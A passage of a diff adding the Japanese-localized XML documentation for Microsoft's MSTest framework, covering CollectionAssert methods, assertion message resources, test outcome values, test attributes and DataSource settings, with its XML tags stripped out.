plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれているかどうかをテストして、 - 要素がコレクションにない場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内にあると予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - 次にない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - Thrown if is found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - が次にある場合 。メッセージはテスト結果に - 表示されます。 - - - Thrown if is found in - . - - - - - 指定したコレクションに指定した要素が含まれていないかどうかをテストして、 - 要素がコレクション内にある場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - コレクション内に存在しないことが予期される要素。 - - - 次の場合に、例外に含まれるメッセージ - が次にある場合 。メッセージはテスト結果に - 表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is found in - . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - null 要素を含む場合。メッセージはテスト結果に表示されます。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが null 以外であるかどうかをテストして、 - いずれかの要素が null である場合は例外をスローします。 - - - 要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - null 要素を含む場合。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if a null element is found in . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - Thrown if a two or more equal elements are found in - . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - 少なくとも 1 つの重複する要素が含まれています。メッセージは - テスト結果に表示されます。 - - - Thrown if a two or more equal elements are found in - . - - - - - 指定したコレクション内のすべてのアイテムが一意であるかどうかをテストして、 - コレクション内のいずれかの 2 つの要素が等しい場合はスローします。 - - - 重複する要素を検索するコレクション。 - - - 次の場合に、例外に含まれるメッセージ - 少なくとも 1 つの重複する要素が含まれています。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if a two or more equal elements are found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次に見つからない場合 . - メッセージはテスト結果に表示されます。 - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットであるかどうかをテストして、 - スーパーセットにない要素がサブセットに入っている場合は - 例外をスローします。 - - - 次のサブセットであると予期されるコレクション 。 - - - 次のスーパーセットであると予期されるコレクション - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次に見つからない場合 . - メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element in is not found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - Thrown if every element in is also found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - 次にあるすべての要素が次である場合に、例外に含まれるメッセージ - 次にもある場合 . - メッセージはテスト結果に表示されます。 - - - Thrown if every element in is also found in - . - - - - - コレクションが別のコレクションのサブセットでないかどうかをテストして、 - サブセット内のすべての要素がスーパーセットにもある場合は - 例外をスローします。 - - - のサブセットではないと予期されるコレクション 。 - - - 次のスーパーセットであるとは予期されないコレクション - - - 次にあるすべての要素が次である場合に、例外に含まれるメッセージ - 次にもある場合 . - メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if every element in is also found in - . - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 要素が 2 つのコレクションのどちらかのみに見つかった場合に - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに同じ要素が含まれているかどうかをテストして、 - いずれかのコレクションにもう一方のコレクション内にない要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これにはテストで予期される - 要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 要素が 2 つのコレクションのどちらかのみに見つかった場合に - 例外に含まれるメッセージ。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じ要素を含む場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 2 つのコレクションに異なる要素が含まれているかどうかをテストして、 - 順番に関係なく、2 つのコレクションに同一の要素が含まれている場合は例外を - スローします。 - - - 比較する最初のコレクション。これには実際のコレクションと異なると - テストで予期される要素が含まれます。 - - - 比較する 2 番目のコレクション。これはテストのコードで - 生成されるコレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と同じ要素を含む場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 - 。メッセージはテスト結果に表示されます。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクション内のすべての要素が指定した型のインスタンスであるかどうかをテストして、 - 指定した型が 1 つ以上の要素 - の継承階層にない場合は例外をスローします。 - - - テストで特定の型であると予期される要素を - 含むコレクション。 - - - 次の各要素の予期される型 。 - - - 次にある要素が次の条件である場合に、例外に含まれるメッセージ - 次のインスタンスではない場合 - 。メッセージはテスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しいかどうかをテストして、 - 2 つのコレクションが等しくない場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで予期されるコレクションです。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しくない場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is not equal to - . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - Thrown if is equal to . - - - - - 指定したコレクションが等しくないかどうかをテストして、 - 2 つのコレクションが等しい場合は例外をスローします。等値は、順序と数が同じである同じ要素を含むものとして - 定義されています。同じ値への異なる参照は - 等しいものとして見なされます。 - - - 比較する最初のコレクション。これはテストで次と一致しないことが予期される - コレクションです 。 - - - 比較する 2 番目のコレクション。これはテストのコードで生成される - コレクションです。 - - - コレクションの要素を比較する場合に使用する比較の実装。 - - - 次の場合に、例外に含まれるメッセージ - 次と等しい場合 。メッセージは - テスト結果に表示されます。 - - - の書式を設定する場合に使用するパラメーターの配列 。 - - - Thrown if is equal to . - - - - - 最初のコレクションが 2 番目のコレクションのサブセットであるかどうかを - 決定します。いずれかのセットに重複する要素が含まれている場合は、 - サブセット内の要素の出現回数は - スーパーセット内の出現回数以下である必要があります。 - - - テストで次に含まれると予期されるコレクション 。 - - - テストで次を含むと予期されるコレクション 。 - - - 次の場合は true 次のサブセットの場合 - 、それ以外の場合は false。 - - - - - 指定したコレクションの各要素の出現回数を含む - 辞書を構築します。 - - - 処理するコレクション。 - - - コレクション内の null 要素の数。 - - - 指定したコレクション内の各要素の - 出現回数を含むディレクトリ。 - - - - - 2 つのコレクション間で一致しない要素を検索します。 - 一致しない要素とは、予期されるコレクションでの出現回数が - 実際のコレクションでの出現回数と異なる要素のことです。 - コレクションは、同じ数の要素を持つ、null ではない - さまざまな参照と見なされます。このレベルの検証を行う責任は - 呼び出し側にあります。一致しない要素がない場合、 - 関数は false を返し、out パラメーターは使用されません。 - - - 比較する最初のコレクション。 - - - 比較する 2 番目のコレクション。 - - - 次の予期される発生回数 - または一致しない要素がない場合は - 0 です。 - - - 次の実際の発生回数 - または一致しない要素がない場合は - 0 です。 - - - 一致しない要素 (null の場合があります)、または一致しない要素がない場合は - null です。 - - - 一致しない要素が見つかった場合は true、それ以外の場合は false。 - - - - - object.Equals を使用してオブジェクトを比較する - - - - - フレームワーク例外の基底クラス。 - - - - - クラスの新しいインスタンスを初期化します。 - - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - 例外。 - - - - クラスの新しいインスタンスを初期化します。 - - メッセージ。 - - - - ローカライズされた文字列などを検索するための、厳密に型指定されたリソース クラス。 - - - - - このクラスで使用されているキャッシュされた ResourceManager インスタンスを返します。 - - - - - 厳密に型指定されたこのリソース クラスを使用して、現在のスレッドの - CurrentUICulture プロパティをすべてのリソース ルックアップで無視します。 - - - - - "アクセス文字列は無効な構文を含んでいます。" に類似したローカライズされた文字列を検索します。 - - - - - "予期されたコレクションでは、<{2}> が {1} 回発生します。実際のコレクションでは、{3} 回発生します。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "重複する項目が見つかりました:<{1}>。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> が必要です。実際の値: <{2}> では大文字と小文字が異なります。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "指定する値 <{1}> と実際の値 <{2}> との間には <{3}> 以内の差が必要です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1} ({2})> が必要ですが、<{3} ({4})> が指定されました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> が必要ですが、<{2}> が指定されました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "指定する値 <{1}> と実際の値 <{2}> との間には <{3}> を超える差が必要です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "<{1}> 以外の任意の値が必要ですが、<{2}> が指定されています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "AreSame() に値型を渡すことはできません。オブジェクトに変換された値は同じになりません。AreEqual() を使用することを検討してください。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "{0} に失敗しました。{1}" に類似したローカライズされた文字列を検索します。 - - - - - "UITestMethodAttribute が指定された非同期の TestMethod はサポートされていません。非同期を削除するか、TestMethodAttribute を使用してください。" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが空です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが同じ要素を含んでいます。" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションの参照が、同じコレクション オブジェクトにポイントしています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "両方のコレクションが同じ要素を含んでいます。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "{0}({1})" に類似したローカライズされた文字列を検索します。 - - - - - "(null)" に類似したローカライズされた文字列を検索します。 - - - - - Looks up a localized string similar to (object). - - - - - "文字列 '{0}' は文字列 '{1}' を含んでいません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "{0} ({1})" に類似したローカライズされた文字列を検索します。 - - - - - "アサーションには Assert.Equals を使用せずに、Assert.AreEqual とオーバーロードを使用してください。" に類似したローカライズされた文字列を検索します。 - - - - - "コレクション内の要素数が一致しません。<{1}> が必要ですが <{2}> が指定されています。{0}。" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {0} の要素が一致しません。" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {1} の要素は、必要な型ではありません。<{2}> が必要ですが、<{3}> が指定されています。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "インデックス {1} の要素は null です。必要な型:<{2}>。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' は文字列 '{1}' で終わりません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "無効な引数 - EqualsTester は null を使用することはできません。" に類似したローカライズされた文字列を検索します。 - - - - - "型 {0} のオブジェクトを {1} に変換できません。" に類似したローカライズされた文字列を検索します。 - - - - - "参照された内部オブジェクトは、現在有効ではありません。" に類似したローカライズされた文字列を検索します。 - - - - - "パラメーター '{0}' は無効です。{1}。" に類似したローカライズされた文字列を検索します。 - - - - - "プロパティ {0} は型 {1} を含んでいますが、型 {2} が必要です。" に類似したローカライズされた文字列を検索します。 - - - - - "{0} には型 <{1}> が必要ですが、型 <{2}> が指定されました。" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' は、パターン '{1}' と一致しません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "正しくない型は <{1}> であり、実際の型は <{2}> です。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "文字列 '{0}' はパターン '{1}' と一致します。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "DataRowAttribute が指定されていません。DataTestMethodAttribute では少なくとも 1 つの DataRowAttribute が必要です。" に類似したローカライズされた文字列を検索します。 - - - - - "例外がスローされませんでした。{1} の例外が予期されていました。{0}" に類似したローカライズされた文字列を検索します。 - - - - - "パラメーター '{0}' は無効です。値を null にすることはできません。{1}。" に類似したローカライズされた文字列を検索します。 - - - - - "要素数が異なります。" に類似したローカライズされた文字列を検索します。 - - - - - "指定されたシグネチャを使用するコンストラクターが見つかりませんでした。 - プライベート アクセサーを再生成しなければならないか、 - またはメンバーがプライベートであり、基底クラスで定義されている可能性があります。後者である場合、メンバーを - PrivateObject のコンストラクターに定義する型を渡す必要があります。" に類似したローカライズされた文字列を検索します。 - - - - - - "指定されたメンバー ({0}) が見つかりませんでした。プライベート アクセサーを再生成しなければならないか、 - またはメンバーがプライベートであり、基底クラスで定義されている可能性があります。後者である場合、メンバーを - 定義する型を PrivateObject のコンストラクターに渡す必要があります。" - に類似したローカライズされた文字列を検索します。 - - - - - - "文字列 '{0}' は文字列 '{1}' で始まりません。{2}。" に類似したローカライズされた文字列を検索します。 - - - - - "予期される例外の型は System.Exception または System.Exception の派生型である必要があります。" に類似したローカライズされた文字列を検索します。 - - - - - "(例外が発生したため、型 {0} の例外のメッセージを取得できませんでした。)" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは予期された例外 {0} をスローしませんでした。{1}" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは例外をスローしませんでした。テスト メソッドで定義されている属性 {0} で例外が予期されていました。" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは、例外 {0} をスローしましたが、例外 {1} が予期されていました。例外メッセージ: {2}" に類似したローカライズされた文字列を検索します。 - - - - - "テスト メソッドは、例外 {0} をスローしましたが、例外 {1} またはその派生型が予期されていました。例外メッセージ: {2}" に類似したローカライズされた文字列を検索します。 - - - - - "例外 {2} がスローされましたが、例外 {1} が予期されていました。{0} - 例外メッセージ: {3} - スタック トレース: {4}" に類似したローカライズされた文字列を検索します。 - - - - - 単体テストの成果 - - - - - テストを実行しましたが、問題が発生しました。 - 問題には例外または失敗したアサーションが関係している可能性があります。 - - - - - テストが完了しましたが、成功したか失敗したかは不明です。 - 中止したテストに使用される場合があります。 - - - - - 問題なくテストが実行されました。 - - - - - 現在テストを実行しています。 - - - - - テストを実行しようとしているときにシステム エラーが発生しました。 - - - - - テストがタイムアウトしました。 - - - - - ユーザーによってテストが中止されました。 - - - - - テストは不明な状態です - - - - - 単体テストのフレームワークのヘルパー機能を提供する - - - - - すべての内部例外のメッセージなど、例外メッセージを - 再帰的に取得します - - 次のメッセージを取得する例外 - エラー メッセージ情報を含む文字列 - - - - クラスで使用できるタイムアウトの列挙型。 - 列挙型の型は一致している必要があります - - - - - 無限。 - - - - - テスト クラス属性。 - - - - - このテストの実行を可能するテスト メソッド属性を取得します。 - - このメソッドで定義されているテスト メソッド属性インスタンス。 - The 。このテストを実行するために使用されます。 - Extensions can override this method to customize how all methods in a class are run. - - - - テスト メソッド属性。 - - - - - テスト メソッドを実行します。 - - 実行するテスト メソッド。 - テストの結果を表す TestResult オブジェクトの配列。 - Extensions can override this method to customize running a TestMethod. - - - - テスト初期化属性。 - - - - - テスト クリーンアップ属性。 - - - - - Ignore 属性。 - - - - - テストのプロパティ属性。 - - - - - クラスの新しいインスタンスを初期化します。 - - - 名前。 - - - 値。 - - - - - 名前を取得します。 - - - - - 値を取得します。 - - - - - クラス初期化属性。 - - - - - クラス クリーンアップ属性。 - - - - - アセンブリ初期化属性。 - - - - - アセンブリ クリーンアップ属性。 - - - - - テストの所有者 - - - - - クラスの新しいインスタンスを初期化します。 - - - 所有者。 - - - - - 所有者を取得します。 - - - - - 優先順位属性。単体テストの優先順位を指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化します。 - - - 優先順位。 - - - - - 優先順位を取得します。 - - - - - テストの説明 - - - - - テストを記述する クラスの新しいインスタンスを初期化します。 - - 説明。 - - - - テストの説明を取得します。 - - - - - CSS プロジェクト構造の URI - - - - - CSS プロジェクト構造の URI の クラスの新しいインスタンスを初期化します。 - - CSS プロジェクト構造の URI。 - - - - CSS プロジェクト構造の URI を取得します。 - - - - - CSS イテレーション URI - - - - - CSS イテレーション URI の クラスの新しいインスタンスを初期化します。 - - CSS イテレーション URI。 - - - - CSS イテレーション URI を取得します。 - - - - - WorkItem 属性。このテストに関連付けられている作業項目の指定に使用されます。 - - - - - WorkItem 属性の クラスの新しいインスタンスを初期化します。 - - 作業項目に対する ID。 - - - - 関連付けられている作業項目に対する ID を取得します。 - - - - - タイムアウト属性。単体テストのタイムアウトを指定するために使用されます。 - - - - - クラスの新しいインスタンスを初期化します。 - - - タイムアウト。 - - - - - 事前設定するタイムアウトを指定して クラスの新しいインスタンスを初期化する - - - タイムアウト - - - - - タイムアウトを取得します。 - - - - - アダプターに返される TestResult オブジェクト。 - - - - - クラスの新しいインスタンスを初期化します。 - - - - - 結果の表示名を取得または設定します。複数の結果が返される場合に便利です。 - null の場合は、メソッド名が DisplayName として使用されます。 - - - - - テスト実行の成果を取得または設定します。 - - - - - テストが失敗した場合にスローされる例外を取得または設定します。 - - - - - テスト コードでログに記録されたメッセージの出力を取得または設定します。 - - - - - テスト コードでログに記録されたメッセージの出力を取得または設定します。 - - - - - テスト コードでデバッグ トレースを取得または設定します。 - - - - - Gets or sets the debug traces by test code. - - - - - テスト実行の期間を取得または設定します。 - - - - - データ ソース内のデータ行インデックスを取得または設定します。データ ドリブン テストの一続きのデータ行の - それぞれの結果に対してのみ設定されます。 - - - - - テスト メソッドの戻り値を取得または設定します。(現在は、常に null です)。 - - - - - テストで添付された結果ファイルを取得または設定します。 - - - - - データ ドリブン テストの接続文字列、テーブル名、行アクセス方法を指定します。 - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource の既定のプロバイダー名。 - - - - - 既定のデータ アクセス方法。 - - - - - クラスの新しいインスタンスを初期化します。このインスタンスは、データ ソースにアクセスするためのデータ プロバイダー、接続文字列、データ テーブル、データ アクセス方法を指定して初期化されます。 - - System.Data.SqlClient などデータ プロバイダーの不変名 - - データ プロバイダー固有の接続文字列。 - 警告: 接続文字列には機微なデータ (パスワードなど) を含めることができます。 - 接続文字列はソース コードのプレーンテキストとコンパイルされたアセンブリに保存されます。 - ソース コードとアセンブリへのアクセスを制限して、この秘匿性の高い情報を保護します。 - - データ テーブルの名前。 - データにアクセスする順番をしています。 - - - - クラスの新しいインスタンスを初期化します。このインスタンスは接続文字列とテーブル名を指定して初期化されます。 - OLEDB データ ソースにアクセスするには接続文字列とデータ テーブルを指定します。 - - - データ プロバイダー固有の接続文字列。 - 警告: 接続文字列には機微なデータ (パスワードなど) を含めることができます。 - 接続文字列はソース コードのプレーンテキストとコンパイルされたアセンブリに保存されます。 - ソース コードとアセンブリへのアクセスを制限して、この秘匿性の高い情報を保護します。 - - データ テーブルの名前。 - - - - クラスの新しいインスタンスを初期化します。このインスタンスは設定名に関連付けられているデータ プロバイダーと接続文字列を使用して初期化されます。 - - app.config ファイルの <microsoft.visualstudio.qualitytools> セクションにあるデータ ソースの名前。 - - - - データ ソースのデータ プロバイダーを表す値を取得します。 - - - データ プロバイダー名。データ プロバイダーがオブジェクトの初期化時に指定されていなかった場合は、System.Data.OleDb の既定のプロバイダーが返されます。 - - - - - データ ソースの接続文字列を表す値を取得します。 - - - - - データを提供するテーブル名を示す値を取得します。 - - - - - データ ソースへのアクセスに使用するメソッドを取得します。 - - - - 次のいずれか 値。以下の場合 初期化されていない場合は、これは既定値を返します 。 - - - - - app.config ファイルの <microsoft.visualstudio.qualitytools> セクションで見つかるデータ ソースの名前を取得します。 - - - - - データをインラインで指定できるデータ ドリブン テストの属性。 - - - - - すべてのデータ行を検索して、実行します。 - - - テスト メソッド。 - - - 次の配列 。 - - - - - データ ドリブン テスト メソッドを実行します。 - - 実行するテスト メソッド。 - データ行. - 実行の結果。 - - - diff --git 